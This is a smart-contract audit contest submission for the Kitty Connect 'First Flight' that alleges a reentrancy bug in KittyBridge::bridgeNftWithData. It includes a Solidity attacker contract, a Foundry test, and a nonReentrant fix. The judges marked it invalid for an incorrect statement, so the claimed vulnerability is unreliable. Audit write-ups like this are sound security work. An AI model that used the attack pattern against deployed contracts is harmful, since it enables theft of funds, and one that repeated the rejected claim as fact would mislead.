First Flight #12: Kitty Connect

First Flight #12: Kitty Connect
Beginner FriendlyFoundryNFTGameFi
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy in `KittyBridge::bridgeNftWithData` (Reentrancy), this will lead to unauthorized minting of NFTs.

Summary

The KittyBridge::bridgeNftWithData function is vulnerable to reentrancy attack.
The attacker can call the KittyBridge::bridgeNftWithData with crafted data and in the callback function onERC721Received , they can call the KittyBridge::bridgeNftWithData again, which will lead to unauthorized minting of NFTs. The only limitation is that the KittyBridge should have enough link token and the transaction should always go through.

Vulnerability Details

POC:

Attacker Contract:

contract AttackerContract is IERC721Receiver {
struct CatInfo {
string catName;
string breed;
string image;
uint256 dob;
address[] prevOwner;
address shopPartner;
uint256 idx;
}
IKittyBridge public kittyBridge;
HelperConfig.NetworkConfig public networkConfig;
constructor(
address _kittyBridge,
HelperConfig.NetworkConfig memory _networkConfig
) {
kittyBridge = IKittyBridge(_kittyBridge);
networkConfig = _networkConfig;
}
function attack() public {
string
memory catImageIpfsHash = "ipfs://QmbxwGgBGrNdXPm84kqYskmcMT3jrzBN8LzQjixvkz4c62";
CatInfo memory catInfo = CatInfo(
"meowdy",
"hehe",
catImageIpfsHash,
block.timestamp,
new address[](0),
address(0),
1
);
bytes memory _data = abi.encode(
address(this),
catInfo.catName,
catInfo.breed,
catInfo.image,
catInfo.dob,
catInfo.shopPartner
);
while (
IERC20(networkConfig.link).balanceOf(address(kittyBridge)) != 0
) {
kittyBridge.bridgeNftWithData(
networkConfig.otherChainSelector,
address(this),
_data
);
}
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
attack();
return this.onERC721Received.selector;
}
}

Test Case:

function testReentrancy() public {
AttackerContract attackerContract = new AttackerContract(
address(kittyBridge),
networkConfig
);
attackerContract.attack();
}

Impact

This will lead to unauthorized minting of NFTs, which will lead to loss of funds for the owner of the contract.

Tools Used:

Manual review

Recommendations

To prevent reentrancy, the contract should use the reentrancy guard modifier from OpenZeppelin in the bridgeNftWithData function.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
function bridgeNftWithData(
uint64 _destinationChainSelector,
address _receiver,
bytes memory _data
)
external
+ nonReentrant
onlyAllowlistedDestinationChain(_destinationChainSelector)
validateReceiver(_receiver)
returns (bytes32 messageId)
{
...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.